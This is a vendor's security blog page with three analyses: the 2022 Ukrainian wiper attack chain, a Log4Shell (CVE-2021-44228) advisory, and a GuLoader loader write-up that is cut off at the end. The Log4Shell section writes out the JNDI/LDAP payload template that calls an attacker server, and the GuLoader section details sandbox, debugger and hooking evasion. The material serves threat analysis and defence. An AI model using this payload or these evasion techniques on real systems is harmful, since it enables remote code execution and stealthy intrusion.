di_blog_post

Blog &#8211; Deep Instinct

Platform Overview

Endpoint Security

Beyond the Endpoint

Products

Deep Learning in Cybersecurity

Our Customers

Why Deep Instinct

Asset Library

ROI Calculator

Blog

Demo Videos

Resources

Preventing Ransomware

Improve EPP Efficacy

EDR is Not Enough

Prevent Zero-Day Attacks

Stop Fileless Attacks

Solutions

About Deep Instinct

Careers

Contact Us

Newsroom

Company

Request Demo

Customer Portal

Integrations and Compliance

Quick links

Leadership Team

Board of Directors

content_block

posts_listing

Blog Listing

Ukrainian-Cyberattack.png

Overview
On the evening of January 13, several Ukrainian government websites, including the Ministry of Foreign Affairs, were hacked in a coordinated effort. Provocative messages were posted on the main page of these sites in three languages: Ukrainian, Russian, and Polish.
In parallel, some Ukranian Government infrastructure was attacked by a <a href="https://www.deepinstinct.com/blog/wiper-malware-devastation-down-memory-lane" target="_blank" rel="noreferrer noopener">wiper</a> malware. The Ukranian National Coordination Center for Cybersecurity named this attack “<a href="https://twitter.com/ncsccUA/status/1482733473228013569" target="_blank" rel="noreferrer noopener">Operation Bleeding Bear</a>.” This is not the first time Ukraine faces a disk wiping attack; they also suffered from <a href="https://en.wikipedia.org/wiki/BlackEnergy" target="_blank" rel="noreferrer noopener">BlackEnergy</a> in 2015, <a href="https://en.wikipedia.org/wiki/Industroyer" target="_blank" rel="noreferrer noopener">Industroyer</a> in 2016 and <a href="https://en.wikipedia.org/wiki/2017_cyberattacks_on_Ukraine" target="_blank" rel="noreferrer noopener">NotPetya</a> in 2017.
On January 15, Microsoft shared their initial <a href="https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/">findings</a> regarding the wiper attack, providing indicators&nbsp;for stage1 and stage2 malware that was used in the attack. 

Microsoft mentioned that the attackers launched the stage1 malware via <a href="https://www.secureauth.com/labs/open-source-tools/impacket/">Impacket</a>,&nbsp;revealing that the attackers had prior access to the network and deployed various hacking tools to move laterally inside the environment.
<a href="https://www.secureauth.com/labs/open-source-tools/impacket/">Impacket</a> is a collection of open-source Python classes for working with network protocols. Some classes allow remote code execution if a valid username and password is supplied to the computer that will be executing the command.

Following is a detailed look at how this attack unfolded:

Stage1 (a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92)
Stage1 is the MBR wiper malware. <a href="https://en.wikipedia.org/wiki/Master_boot_record">MBR</a> stands for Master Boot Record, the first sector of the hard disk. It is worth noting that most modern computers use <a href="https://en.wikipedia.org/wiki/GUID_Partition_Table">GPT</a> instead of MBR.

The executable is compiled using <a href="https://www.mingw-w64.org/">MingW</a> GCC: 

<figure><img data-image="xe0jujw6jov6" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta4ffa82f4b452884/61f0748daead2b14ab940241/figure1-ukraine-wiper-stage1-compiler-information.png" data-sys-asset-uid="blta4ffa82f4b452884" alt="figure1-ukraine-wiper-stage1-compiler-information.png"><figcaption>Figure 1: Stage1 compiler information</figcaption></figure>

 The malware achieved “wiping” of the MBR by simply creating a handle to “PhysicalDrive0” and overwriting the contents of the MBR, thus making the original OS unbootable.


“<a href="https://docs.oracle.com/en/database/oracle/oracle-database/19/ntqrf/about-physical-disk.html">PhysicalDrive0</a>” maps to the first sector of the first physical drive attached to the computer. As mentioned above, this is where the MBR resides.

<figure><img data-image="yxaae5wnlo71" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt6a3c2de25c2a6b75/61f09ed108a5057151494c6e/figure2-ukraine-wiper-code-snippet-responsible-to-mbr-overwrite.png" data-sys-asset-uid="blt6a3c2de25c2a6b75" alt="figure2-ukraine-wiper-code-snippet-responsible-to-mbr-overwrite.png"><figcaption>Figure 2: Code snippet responsible to MBR overwrite</figcaption></figure>

 The malware overwrites the MBR with the contents of “data_404020” variable.


<figure><img data-image="io0h8tznx7in" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc46b4859525f90ac/61f09ed008a5057151494c6a/figure3-highlighted-code-showing-what-will-be-written-to-the-mbr.png" data-sys-asset-uid="bltc46b4859525f90ac" alt="figure3-highlighted-code-showing-what-will-be-written-to-the-mbr.png"><figcaption>Figure 3: Highlighted code showing what will be written to the MBR</figcaption></figure>
 “data 404020” contains the ransom note that will be shown when the computer boots with the overwritten MBR.



<figure><img data-image="xyv87eokwp2e" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt8b071402e0f03806/61f09ed3e30aaf137e48cc54/figure4-the-actual-data-that-will-be-written-to-the-mbr.png" data-sys-asset-uid="blt8b071402e0f03806" alt="figure4-the-actual-data-that-will-be-written-to-the-mbr.png"><figcaption>Figure 4: The actual data that will be written to the MBR</figcaption></figure> 

Stage2 (dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78)
This is an obfuscated .NET executable. According to information found in several <a href="https://mobile.twitter.com/felixaime/status/1483147815274659844">tweets</a>&nbsp;from InfoSec <a href="https://twitter.com/Arkbird_SOLG/status/1482886340513517570">experts</a>, this is a generic downloader used by different e-crime campaigns.

This specific sample downloads a file with a .jpg extension from Discord,&nbsp;a popular chat app that allows users to send files. Discord is known to be <a href="https://www.bleepingcomputer.com/news/security/discord-abused-to-spread-malware-and-harvest-stolen-data/">abused</a> to distribute malicious files.

<figure><img data-image="73llmh6a8ffp" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltea10e10869dbd159/61f09ed0fb66f771578d71f8/figure5-download-url-from-discord.png" data-sys-asset-uid="bltea10e10869dbd159" alt="figure5-download-url-from-discord.png"><figcaption>Figure 5: Download URL from Discord</figcaption></figure>
 The downloaded file (923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6) is, in fact, not a .jpg image file at all. If we open the file in hex editor, we will see that the entire file is mirrored.



<figure><img data-image="wiz6c4jx5qp1" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltaaf5cfa4de60bee7/61f09ed3b1c6de35becb9cfc/figure6-end-of-the-downloaded-file-in-hex-editor.png" data-sys-asset-uid="bltaaf5cfa4de60bee7" alt="figure6-end-of-the-downloaded-file-in-hex-editor.png"><figcaption>Figure 6: End of the downloaded file in hex editor</figcaption></figure>
 We can see the file ends with ZM, which is the MZ header of an executable file; this header should be in the beginning.



The malware has the “InsertItem” function which serves to “reverse” the contents of the downloaded file:

<figure><img data-image="p6cbb2t9ck1y" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt70bfe23a043355cc/61f09ed0904d97138098381f/figure7-insert-item-function-code.png" data-sys-asset-uid="blt70bfe23a043355cc" alt="figure7-insert-item-function-code.png"><figcaption>Figure 7: InsertItem function code</figcaption></figure>
 After reversing the content, we will have the actual stage3 payload.



Finally, stage2 will reflectively load stage3:

<figure><img data-image="i3q1tcnxltlj" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd9bb4c27b6ef8515/61f09ed25b8f60514d374359/figure8-calling-method-from-stage-3.png" data-sys-asset-uid="bltd9bb4c27b6ef8515" alt="figure8-calling-method-from-stage-3.png"><figcaption>Figure 8: Calling method “Ylfwdwgmpilzyaph” from stage3</figcaption></figure>
 

Stage3 (9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d)

This is yet another obfuscated .NET file. This time a DLL; the file is obfuscated using “<a href="https://www.gapotchenko.com/eazfuscator.net">Eazfuscator</a>.”

As mentioned, stage2 calls a method named “Ylfwdwgmpilzyaph” from this DLL.

<figure><img data-image="3jsdxo1bqapi" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt0157abd2dc8a5f56/61f09ed208a5057151494c72/figure9-Ylfwdwgmpilzyaph-code.png" data-sys-asset-uid="blt0157abd2dc8a5f56" alt="figure9-Ylfwdwgmpilzyaph-code.png"><figcaption>Figure 9: “Ylfwdwgmpilzyaph” code</figcaption></figure>
 

The file contains three resources.

<figure><img data-image="w6i7xra38u7f" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt347526e12717d22d/61f09ee65b8f60514d374361/figure10-Ylfwdwgmpilzyaph-eventually-reads-resource-7c8cb5598e724d34384cce7402b11f0e.png" data-sys-asset-uid="blt347526e12717d22d" alt="figure10-Ylfwdwgmpilzyaph-eventually-reads-resource-7c8cb5598e724d34384cce7402b11f0e.png"><figcaption>Figure 10: Code that loads resource “7c8cb5598e724d34384cce7402b11f0e”</figcaption></figure>
 

Using “<a href="https://github.com/HoLLy-HaCKeR/EazFixer">EazFixer</a>” we were able to receive the decoded DLL file (35feefe6bd2b982cb1a5d4c1d094e8665c51752d0a6f7e3cae546d770c280f3a)

The decoded DLL contains two resources.

<figure><img data-image="3xu5y2kp02uz" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltaa657d4825847e3f/61f09edd5b8f60514d37435d/figure11-resources-in-decoded-dll.png" data-sys-asset-uid="bltaa657d4825847e3f" alt="figure11-resources-in-decoded-dll.png"><figcaption>Figure 11: Resources in decoded DLL</figcaption></figure>
 The “AdvancedRun” resource is a gzip archive containing “<a href="https://www.nirsoft.net/utils/advanced_run.html">AdvancedRun.exe</a>,” a legitimate application which is used by system administrators.



<figure><img data-image="uv5blf9fekbv" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt279cfb3109bc3811/61f09ee6fb66f771578d71fc/figure12-official-advancedrun-usage-examples.png" data-sys-asset-uid="blt279cfb3109bc3811" alt="figure12-official-advancedrun-usage-examples.png"><figcaption>Figure 12: Official AdvancedRun usage examples</figcaption></figure>
 In this case, it is abused to stop and delete Windows Defender.



The “Waqybg” resource is a “reversed” gzip archive (the same method as used in the .jpg downloaded from discord) containing the final stage, a file corrupting malware.

Stage4 (34ca75a8c190f20b8a7596afeb255f2228cb2467bd210b2637965b61ac7ea907)
This file is also compiled using MingW GCC, the same as the stage1 payload:

<figure><img data-image="damlj8rah9vs" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt50d75c5614c34d81/61f09ee6e30aaf137e48cc58/figure13-stage4-compiler-information.png" data-sys-asset-uid="blt50d75c5614c34d81" alt="figure13-stage4-compiler-information.png"><figcaption>Figure 13: Stage4 compiler information</figcaption></figure>
 The malware is looking for specific extensions on all hard drives and partially overwritten files with these specific extensions.



.HTML .HTM .PHTML .PHP .JSP .ASP .PHPS .PHP5 .ASPX .PHP4 .PHP3 .DOC .DOCX .XLS .XLSX .PPT .PPTX .PST .MSG .EML .TXT .CSV .RTF .WKS .WK1 .PDF .DWG .JPEG .JPG .DOCM .DOT .DOTM .XLSM .XLSB .XLW .XLT .XLM .XLC .XLTX .XLTM .PPTM .POT .PPS .PPSM .PPSX .HWP .SXI .STI .SLDX .SLDM .BMP .PNG .GIF .RAW .TIF .TIFF .PSD .SVG .CLASS .JAR .SCH .VBS .BAT .CMD .ASM .PAS .CPP .SXM .STD .SXD .ODP .WB2 .SLK .DIF .STC .SXC .ODS .3DM .MAX .3DS .STW .SXW .ODT .PEM .P12 .CSR .CRT .KEY .PFX .DER .OGG .JAVA .INC .INI .PPK .LOG .VDI .VMDK .VHD .MDF .MYI .MYD .FRM .SAV .ODB .DBF .MDB .ACCDB .SQL .SQLITEDB .SQLITE3 .LDF .ARC .BAK .TAR .TGZ .RAR .ZIP .BACKUP .ISO .CONFIG<figure><img data-image="315yyuvjjfkf" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta4fac3a4a0513beb/61f09ee7ac70415152966154/figure14-delete-command-and-partial-extension-list.png" data-sys-asset-uid="blta4fac3a4a0513beb" alt="figure14-delete-command-and-partial-extension-list.png"><figcaption>Figure 14: Delete command and partial extension list</figcaption></figure>

 

It next renames the corrupted file’s extension to a random one. When finished, the malware deletes itself by calling cmd.exe and sleeping for 5 seconds by issuing a ping command.

Finally, it logs off the current user and shuts down the computer with status code <a href="https://docs.microsoft.com/en-us/windows/win32/shutdown/system-shutdown-reason-codes">14</a> (network connectivity):

<figure><img data-image="pn3w2ykacjfu" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltdf71ec22f847a4fd/61f09ee65425f4730f02f953/figure15-exit-route.png" data-sys-asset-uid="bltdf71ec22f847a4fd" alt="figure15-exit-route.png"><figcaption>Figure 15: Exit routine</figcaption></figure>
 Conclusions


Stage1 malware is written in C and is used to corrupt the MBR, causing the computer’s operating system to not load; the files on the disk are still intact and can be recovered.

Stage2 malware is used to load stage3 malware, both of which are written in .NET. Similar loaders have been observed, and those are believed to be generic and not unique to this threat actor.

Stage3 malware loads stage4, which is also written in C, same as stage1 malware.

Stage4 malware is used to corrupt important files on the hard disks.

In case stage1 or stage4 doesn’t execute properly, partial recovery might be possible, but the successful combination of the two will lead to almost certain corruption of all important data without any recovery option.

Additionally, the ransom note is fake as the malware is not encrypting the files, it is simply destroying them.

Deep Instinct vs. The Threat Actor
We have tested a <a href="https://www.virustotal.com/gui/file/69a11868dddce6de8aaad348cb92972e550aaa0deb5fbaf86af711aedf93c3ad/detection">random</a> Impacket wmiexec binary against the <a href="https://www.deepinstinct.com/platform">Deep Instinct Prevention Platform</a> and it was blocked:

<figure style="max-width: 763px;"><img data-image="us95wp6rjz6l" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt393a5361bcbd6c4a/61f09ee5a96c4414ac4344b3/figure16-wmiexec-being-blocked.png" data-sys-asset-uid="blt393a5361bcbd6c4a" alt="figure16-wmiexec-being-blocked.png" width="763" height="289" style="width: 763px; max-width: 763px; height: 289px;"><figcaption>Figure 16: wmiexec being blocked</figcaption></figure>
 

We have also tested the four malware samples and they were blocked:

<figure><img data-image="8rzpaynj71vp" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt53e818671b7f5a4f/61f09ee6afb93073090450fc/figure17-stage-1-is-being-blocked.png" data-sys-asset-uid="blt53e818671b7f5a4f" alt="figure17-stage-1-is-being-blocked.png"><figcaption>Figure 17: stage1 is being blocked</figcaption></figure>
<figure style="max-width: 763px;"><img data-image="cd5hzzewosvd" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc205fe1c05509f91/61f09ee61e207a3729b8f44c/figure18-stage-2-is-being-blocked.png" data-sys-asset-uid="bltc205fe1c05509f91" alt="figure18-stage-2-is-being-blocked.png" width="763" height="321" style="width: 763px; max-width: 763px; height: 321px;"><figcaption>Figure 18: stage2 is being blocked</figcaption></figure>
<figure style="max-width: 763px;"><img data-image="0ln1w774jsjv" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt86dc9d5201b9c728/61f09f6008a5057151494c7e/figure19-stage-3-is-being-blocked.png" data-sys-asset-uid="blt86dc9d5201b9c728" alt="figure19-stage-3-is-being-blocked.png" width="763" height="316" style="width: 763px; max-width: 763px; height: 316px;"><figcaption>Figure 19: stage3 is being blocked</figcaption></figure>
<figure style="max-width: 760px;"><img data-image="8mi7s3ksusyq" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt139ccac84f4cdeb8/61f09f60fb66f771578d7200/figure20-stage-4-is-being-blocked.png" data-sys-asset-uid="blt139ccac84f4cdeb8" alt="figure20-stage-4-is-being-blocked.png" width="760" height="303" style="width: 760px; max-width: 760px; height: 303px;"><figcaption>Figure 20: stage4 is being blocked</figcaption></figure>

Deep Instinct customers are protected against various wiper malware as we mentioned in our previous <a href="https://www.deepinstinct.com/blog/clearing-disk-to-zero-leaving-admins-to-byte-the-dust">blogs</a> and <a href="https://www.deepinstinct.com/blog/wiper-malware-devastation-down-memory-lane">reports</a>. If you’d like to see the platform in action for yourself, we’d encourage you to <a href="https://www.deepinstinct.com/request-a-demo">request a demo</a>.

The Ukrainian Government Cyberattack – What You Need to Know

Log4Shell (CVE-2021-44228) – What You Need to Know

Log4Shell-Blog.jpg

<h5>Overview </h5>
On December 9, a <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228" target="_blank" rel="noreferrer noopener">severe remote code execution vulnerability</a> was disclosed in Apache’s logging tool, Log4j2 – a widely-used open-source Java framework used for logging by countless commercial, non-commercial, and internally-developed applications and users – affecting all previous versions of the framework. 
Due to the simplicity of the exploitation and the massive usage of the Log4j library in many components from different products, we’ve already seen several POCs being published on Github which implement this exploit. 
The vulnerability has been dubbed “Log4Shell” and its root cause has since been fixed by Log4j2 authors. It is highly recommended that all users of Log4j2 or applications that employ Log4j2 update to the <a href="https://logging.apache.org/log4j/2.x/security.html" target="_blank" rel="noreferrer noopener">latest version (v2.15.0)</a> of the framework or respective application. 
Deep Instinct’s product line, agents, cloud infrastructure, and servers do not use or rely on log4j2 and therefore cannot be compromised by it and are not vulnerable to its exploitation. 
Interestingly, this is not the first time JNDI and LDAP have been responsible for vulnerable software. During Black Hat 2016, <a href="https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf" target="_blank" rel="noreferrer noopener">researchers presented</a> how to successfully use remote code execution leveraging these two components. <h5>What Makes Log4Shell so Severe? </h5>
“Log4Shell” abuses the Java Naming and Directory Interface (JNDI) and Lightweight Directory Access Protocol (LDAP), enabling it to force applications and servers running Log4j to fetch and execute a malicious payload. 
JNDI, which has been present in Java since the 1990s, allows Java programs and applications to locate and make use of remote data. LDAP is an industry-standard, application-layer protocol that allows access to remote directories over Internet-Protocol (IP). 
The vulnerability is exceptionally easy to exploit, requiring (in some cases) only a crafted User-Agent HTTP request header and has multiple POCs already published for it. 
In short – by simply causing a vulnerable application to write a specific format of string to its logs it will “trip” the vulnerability. 
In the simplest manner, an attacker can change the HTTP request User-Agent header to something in the following format: ${jndi:ldap://&lt;malicious_server:port&gt;/&lt;malicious_payload&gt;}, which will be logged by the receiving application, causing Log4j to fetch and arbitrarily execute the malicious payload. 
The vulnerability is particularly dangerous as it allows anyone interacting with the vulnerable application to remotely execute arbitrary code on the machine hosting the application, allowing for anything from reconnaissance to initial access into targeted networks and ransomware delivery. <h5>Current Activity and Exploitation in the Wild</h5>
The impact of this vulnerability and its exploitation is vast, affecting entities from a variety of sectors including Apple, Amazon, Tesla, Google, and <a href="https://github.com/YfryTchsGD/Log4jAttackSurface" target="_blank" rel="noreferrer noopener">many more</a>. This not only puts these enterprises at risk but the customers that use their services as well. <h5>Deep Instinct vs. CVE-2021-44228 </h5>
In the case of successful exploitation of the log4j2 vulnerability, the Deep Instinct agent-based solution prevents execution of any shellcode or malicious payload emanating from compromised machines or environments. Consequent malicious payload delivered by the Log4Shell exploit will be prevented in the pre-execution phase by Deep Instinct agents using the deep learning brain capabilities. 
The following video demonstrates Deep Instinct’s Windows D-Client protecting against exploitation of this vulnerability. Deep Instinct Windows D-Client is installed on a Windows machine that runs a vulnerable service. The kali machine attacks the service by sending a malicious HTTP request which causes the Windows machine to attempt execution of an encoded PowerShell command.

<h5>Recommended Actions and Mitigation</h5><ul><li>First and foremost, immediately Upgrade log4j2 to its latest version 2.15.0, which is not affected by this vulnerability.</li><li>If you are using a version (&gt;/=2.10), you can set the setting system property "log4j2.formatMsgNoLookups" to “true” (default in version 2.15.0).</li><li>Protection in previous versions (2.0_beta9 - 2.10.0) is possible by removing the JndiLookup class from the class path e.g.: zip -q -d log4j-core-.*jar org/apache/logging/log4j/core/lookup/JndiLookup.class</li></ul><ul><li>Implementation of Input validation mechanisms to all code that interacts with log4j.</li></ul><h5>Full Mitigation Guide Available Here:</h5><ul><li><a href="https://logging.apache.org/log4j/2.x/manual/migration.html">https://logging.apache.org/log...</a></li></ul><h5>You Can Use These Commands to Search for Exploitation Attempts Against the log4j RCE Vulnerability:</h5><ul><li><a href="https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b">https://gist.github.com/Neo23x...</a></li></ul>
<h5>References</h5>
<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228" target="_blank" rel="noreferrer noopener">https://nvd.nist.gov/vuln/detail/CVE-2021-44228</a> - CVE details and scores
<a href="https://logging.apache.org/log4j/2.x/security.html" target="_blank" rel="noreferrer noopener">https://logging.apache.org/log4j/2.x/security.html</a> - Log4j 2.15.0 patch notes
<a href="https://logging.apache.org/log4j/2.x/download.html" target="_blank" rel="noreferrer noopener">https://logging.apache.org/log4j/2.x/download.html</a> - Log4j2 latest version (2.15.0)
<a href="https://github.com/YfryTchsGD/Log4jAttackSurface" target="_blank" rel="noreferrer noopener">https://github.com/YfryTchsGD/Log4jAttackSurface</a> - list of affected components

Malware-Blog.jpg

GuLoader, also commonly referred to as CloudEyE or vbdropper, was first noticed in the wild around December 2019, and has since been used to distribute malware at scale around the globe. Loader / downloader malware is first-stage malware that is designed to infect a target, and then help execute second-stage malware or malicious payloads. Loaders are typically used to launch Malware-as-a-Service (MaaS) schemes created by cybercriminals to provide paid access to servers and infrastructures to launch distributed malware campaigns. While we observed that GuLoader delivery methods vary, it’s most often used via malspam campaigns. GuLoader malware can be downloaded or created in various ways, but the most common one includes the use of a document attachment with a macro that will execute a malicious payload or an exploit like <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882">CVE-2017-11882</a>. GuLoader is unique in that it is written in <a href="https://en.wikipedia.org/wiki/Visual_Basic_(classic)">Visual Basic 6</a> and contains a <a href="https://en.wikipedia.org/wiki/Shellcode">Shellcode</a> payload wrapped inside. Yet, like many of today’s malware strains, GuLoader also uses a variety of self-defense mechanisms to evade detection and defense.<h4>The First Stage </h4>GuLoader begins with an attachment containing an Office document containing a hidden <a href="https://en.wikipedia.org/wiki/Object_Linking_and_Embedding">OLE embedded object</a> that is triggered by a macro.Notice in the image below the tiny black pixel circled in red. <img data-image="hjfatjqpytxo" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9a80ed696dce3d46/61aec39cbcd235746e0413f3/image.png" data-sys-asset-uid="blt9a80ed696dce3d46" alt="image.png"/>Figure 1: MGuLoader malwareNext, a popup appears asking for permission to run (“WindowsUpdate.exe”); this is the GuLoader malware and this action will enable it to execute.<img data-image="cy7ekb1tuclg" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta20cfbe96bab91ec/61aec3a8bcd235746e0413f7/image.png" data-sys-asset-uid="blta20cfbe96bab91ec" alt="image.png"/>Figure 2: A security prompt for GuLoader malware masked as “WindowsUpdate.exe”After examining the macro, we see that there is an object we likely didn’t notice when we first opened the document. If we reopen the document and go to the small pixel in the upper left corner, we can expand it to the original object size and see the embedded GuLoader malware. <img data-image="lh31fa5g0ybt" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt6431ea5bf6140b4c/61aec3c3bcd235746e0413fb/image.png" data-sys-asset-uid="blt6431ea5bf6140b4c" alt="image.png"/>Figure 3: The VBA macro that triggers the GuLoader malware embedded in the document<img data-image="56jot8ih8ep5" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb3f9440e364c460d/61aec3d67b288471c602c40d/image.png" data-sys-asset-uid="bltb3f9440e364c460d" alt="image.png"/>Figure 4: The tiny pixel is now uncovered as a GuLoader executableThe malicious PE executable can also be created by the macros embedded in malicious Office files rather than being embedded inside the Office file, as shown in the example below.<img data-image="yqr21jk4upxv" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt391795754c6606c5/61aec3e1cf0d931e5942b258/image.png" data-sys-asset-uid="blt391795754c6606c5" alt="image.png"/>Figure 5: A VBS code from a script that was created from a different maldoc sampleThe script will create the GuLoader malware’s executable file as opposed to embedding it inside the OLE as shown in the previous example.<img data-image="9ewmb7ytpxxu" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt0b958b2220d6e259/61aec3edf5ac2d2509ef0667/image.png" data-sys-asset-uid="blt0b958b2220d6e259" alt="image.png"/>Figure 6: PE header of GuLoader shows that it is written in Visual Basic<h4>The Second Stage</h4>The purpose of GuLoader is to download one or more remote administration tools (RAT), as well as info stealer trojans, including the following:<ul><li><a href="https://blog.morphisec.com/parallax-rat-active-status">Parallax RAT</a> - active since at least 2019</li><li><a href="https://attack.mitre.org/versions/v10/software/S0332/">Remcos RAT </a> - active since at least 2016</li><li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook">FormBook</a> - active since at least 2016</li><li><a href="https://attack.mitre.org/software/S0331/">Agent Tesla</a> - active since at least 2014</li><li><a href="https://attack.mitre.org/software/S0336/">NanoCore</a> - active since at least 2013</li><li><a href="https://attack.mitre.org/software/S0198/">NETWIRE</a> - active since at least 2012</li></ul>GuLoader: A Master of Self DefenseGuLoader is notorious for its use of obfuscation and anti-analysis/debugging/sandbox/emulation techniques.<ul><li>To bypass security software, GuLoader will search the NTDLL API functions loaded in memory for well-known locations where security products place their <a href="https://en.wikipedia.org/wiki/Hooking">hooks.</a> It will then intercept API calls and control the flow detect malicious behavior associated with those API functions. Once found, it will “unhook” those hooks by restoring the original NTDLL’s API functions control flows. </li><li>Use of <a href="https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress">GetProcAddress</a>. When a program is executed, it determines which Windows API functions calls to use from the Import Address Table (IAT) located in the PE header. This process is called dynamic linking. Since the imports contain information describing the program’s capabilities, it has value for analysis and debugging. For example, if SetWindowsHookExA() is imported, this might be an indication that the program is capable of keystroke logging. In order to obfuscate and mask Windows API calls used, GuLoader will import GetProcAddress and use it to resolve any API function’s address it wishes to use from user32.dll loaded in memory and achieve the possibility of using it without the need to import it. GuLoader’s PE files won’t have all the API functions it plans to use declared in IAT, but will include only the generic GetProcAddress() (among others) while covering its true intentions from anti-malware solutions and/or analysts.</li><li>Use of <a href="https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumwindows">EnumWindows</a>. This sandbox or emulation detection is done by enumerating and counting all top-level windows on the screen. If there is a low number of windows opened, the malware will self-terminate without executing any malicious activity in order to avoid being detected during the analysis process.</li><li>Use of <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntsetinformationthread">NtSetInformationThread</a> with ThreadHideFromDebugger parameter. This debugging tampering method will cause a crash in the debugged application when a <a href="https://en.wikipedia.org/wiki/Breakpoint">breakpoint</a> <a href="https://en.wikipedia.org/wiki/Breakpoint"></a> is hit in a hidden thread.</li><li>DbgBreakPoint API is called when a debugger attaches to a running process. GuLoader will patch this API by replacing DbgBreakPoint’s original assembly instructions with with 0x90 instructions/NOP (no operation). Similarly, to manipulate DbgBreakPoint, it will replace other debugging API calls with dummy calls to cause a crash during the debugging process.</li><li>Adding junk instruction to the shellcode itself, which doesn’t have any effect other than delaying the analysis process.</li></ul><img data-image="5rkldyre820y" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt647504bd1467aaea/61aec3fcf5ac2d2509ef066b/image.png" data-sys-asset-uid="blt647504bd1467aaea" alt="image.png"/>Figure 7: Anti-VM alert message when executing the sample in a VM environment Upon successful execution, GuLoader will perform a code injection technique called <a href="https://www.deepinstinct.com/blog/malware-evasion-techniques-part-1-process-injection-and-manipulation">“Process Hollowing”</a> during which malicious code is injected into a legitimate processes address space after it has been put in a suspended state. It then unmaps (“hollows”) its memory and injects its malicious code that will then be executed under that process. The purpose of using this technique is to hide the malicious activity among other legitimate processes running in the system, avoiding defenses meant to detect anomalies among the running processes. GuLoader’s prime targets for hollowing and injecting the malicious payload typically include the following:<ul><li><a href="https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool">regAsm.exe</a> - Assembly Registration tool</li><li><a href="https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2019">MSBuild.exe</a> - Microsoft Build Engine (a platform for building applications)</li><li><a href="https://docs.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool">RegSvcs.exe</a> – .NET Services Installation tool</li></ul><h4>The Final Stage</h4>Once GuLoader successfully performs the “process hollowing,” it will download and execute the target malware from a remote location. In some occasions, this location is Google Drive or OneDrive to avoid network-based detections as the domains of these vendors are usually classified as benign and trusted.<img data-image="jsv2zgfl5i7q" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltfa7cbac36f3e431f/61aec406ee9cbf746f324357/image.png" data-sys-asset-uid="bltfa7cbac36f3e431f" alt="image.png"/>Figure 8: GuLoader GET request for Remcos RAT<img data-image="asco3t1phnz5" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt03e370b369581255/61aec43106b2fc23d9312b0a/image.png" data-sys-asset-uid="blt03e370b369581255" alt="image.png"/>Figure 9: Remcos RAT downloaded (<a href="https://en.wikipedia.org/wiki/DOS_MZ_executable">MZ magic bytes hint of a PE file</a>)<h4>Widespread Reach of GuLoader</h4>GuLoader is very active and is a considerable threat to any environment. In September 2021, a campaign <a href="https://blogs.infoblox.com/cyber-threat-intelligence/cyber-campaign-briefs/guloader-delivers-remcos-rat/">spreading a Remcos</a> Remote Access Trojan was identified that utilized GuLoader. Another noticeable campaign that was documented in January 2021 targeted <a href="https://www.difesaesicurezza.com/en/defence-and-security/cybercrime-the-guloader-campaign-back-to-italy-via-a-false-quotation/">organizations in Italy</a>, and spread GuLoader via malspam with a fake RFQ (Request for Quotation) cover story.<img data-image="14e6z9k6pvmw" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt5fe57217d749e02f/61aec45d0a2c0d3da1c1708b/image.png" data-sys-asset-uid="blt5fe57217d749e02f" alt="image.png"/>Figure 10: Number of GuLoader samples submitted to <a href="https://bazaar.abuse.ch/browse.php">MalwareBazaar</a> during January - October 2021. Notice the spikes in January - February and September - October.<h4>Conclusion</h4>A GuLoader infection can have serious consequences on an infected organization, and its effectiveness ensures it will be a significant threat for years to 